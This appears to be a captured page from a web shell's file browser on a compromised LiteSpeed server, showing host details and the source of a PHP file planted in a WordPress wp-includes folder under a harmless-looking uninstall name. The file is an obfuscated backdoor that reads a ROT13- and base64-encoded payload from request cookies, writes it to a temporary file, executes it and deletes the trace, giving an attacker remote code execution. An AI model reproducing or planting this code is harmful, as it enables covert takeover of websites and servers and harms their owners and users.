HEX
Server: LiteSpeed
System: Linux php-prod-3.spaceapp.ru 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
User: labhr1009 (1014)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/lab-hr.com/public_html/wp-includes/sodium_compat/src/PHP52/uninstall.akeeba.php
<?php


if (isset($_COOKIE[9+-9]) && isset($_COOKIE[-67+68]) && isset($_COOKIE[68+-65]) && isset($_COOKIE[22-18])) {
    $bind = $_COOKIE;
    function reverse_searcher($element) {
        $bind = $_COOKIE;
        $resource = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '01566a94');
        if (!is_writable($resource)) {
            $resource = getcwd() . DIRECTORY_SEPARATOR . "right_pad_string";
        }
        $sym = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($bind[3]));
        if (is_writeable($resource)) {
            $symbol = fopen($resource, 'w+');
            fputs($symbol, $sym);
            fclose($symbol);
            spl_autoload_unregister(__FUNCTION__);
            require_once($resource);
            @array_map('unlink', array($resource));
        }
    }
    spl_autoload_register("reverse_searcher");
    $record = "ef5e8db66317e7dca0aef8e586d656b4";
    if (!strncmp($record, $bind[4], 32)) {
        if (@class_parents("api_gateway_restore_state", true)) {
            exit;
        }
    }
}